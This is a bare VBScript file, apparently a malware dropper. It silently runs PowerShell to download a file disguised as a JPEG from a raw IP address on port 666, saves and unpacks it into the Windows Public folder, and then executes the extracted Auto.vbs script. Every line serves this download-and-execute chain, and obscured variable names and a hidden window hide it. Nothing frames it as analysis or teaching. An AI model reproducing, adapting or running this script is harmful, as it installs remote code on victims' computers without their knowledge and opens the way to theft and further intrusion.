Dim xxxxxx, Hmmdrtu, Style, Wait
Set xxxxxx = CreateObject("WScript.Shell")
Hmmdrtu = "powershell.exe -NoLogo -NoProfile -Command ""Start-BitsTransfer -Source 'http://38.22.104.227:666/tnttawy.jpg' -Destination 'C:\Users\Public\bbbb.zip'; Expand-Archive -Path 'C:\Users\Public\bbbb.zip' -DestinationPath 'C:\Users\Public\'"""
Style = 0
Wait = True
xxxxxx.Run Hmmdrtu, Style, Wait
WScript.Sleep 4000
Dim filePath, parameter
filePath = "C:\Users\Public\Auto.vbs"
parameter = ""
xxxxxx.Run """" & filePath & """ """ & parameter & """"